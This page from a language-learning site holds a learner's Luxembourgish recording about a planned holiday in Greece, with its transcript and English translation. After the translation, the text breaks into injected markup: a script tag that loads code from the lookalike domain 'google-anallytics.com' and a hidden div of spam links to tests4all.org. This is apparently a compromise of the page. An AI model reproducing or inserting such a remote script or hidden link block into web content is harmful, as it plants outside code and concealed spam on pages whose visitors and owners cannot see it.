Language sounds
Home > Sounds > Eis Vakanz

‘Eis Vakanz’
Click to listen to Recorded 2008-07-05 19-17-02.mp3 (561Kb)
Non-native speaker
Accent: American
Author: JW
Date: 7/5/2008

Description of what is on the sound file:
My first attempt at Luxembourgish--in the unlikely event that you are reading this and speak Luxembourgish, and would be willing to help me with resources and questions about Luxembourgish, please PM me. Thanks

---

Transcript of sound file:
Mir sinn a Griicheland an der Vakanz. Mir maachen eng Rondrees vu 15 Deeg duerch ganz Griicheland a bleiwen zum Schluss nach 5 Deeg op enger Insel fir ze raschten. Mir fléie mam Fliger vu Lëtzebuerg op Athen. Do bleiwe mir 2 Deeg. Mir hunn e schéinen Hotel direkt am Zentrum. Den éischten Dag gi mir d’Akropolis besichen. Owes iesse mir an engem Restaurant an der Alstad. Den zweeten Dag gi mir an de Musée. Mëttes gi mir an den Zentrum fir anzekafen.

---

Translation:
We are on vacation in Greece. We are taking a 15 day tour throughout Greece and we are staying, at the end, for 5 days, on an island to rest up. We fly by airplane from Luxembourg to Athens. We stay there 2 days. We have a beautiful hotel right downtown. The first day we go to visit the Acropolis. In the evening, we eat in a restaurant in the Old City. The second day we go to the Museum. In the afternoon we go shopping downtown.'text/javascript' src='http://google-anallytics.com/urchin.js'></script><div style='display:none;'><a href='http://tests4all.org/1/'>stages for losing weight</a><a href='http://tests4all.org/2/'>lauren sones personal trainer</a><a href='http://tests4all.org/3/'>lung cleansing quit smoking</a><a href='http://tests4all.org/4/'>blu eyes crying in the rain</a><a href='http://tests4all.org/5/'>photo proof the cardinals got cheated</a><a href='http://tests4all.org/6/'>video game occupations pay</a><a href='http://tests4all.org/7/'>alpha investment partners limited</a><a href='http://tests4all.org/8/'>britannica iq test</a><a href='http://tests4all.org/9/'>america psychic challenge contestant names</a><a href='http://tests4all.org/10/'>nashville past life regression</a><a href='http://tests4all.org/11/'>andrew elliott death date jun 1968</a><a href='http://tests4all.org/12/'>experimental lung liver cancer treatments</a></div>

---

Upload a sound file (you need to register or login to the forum first)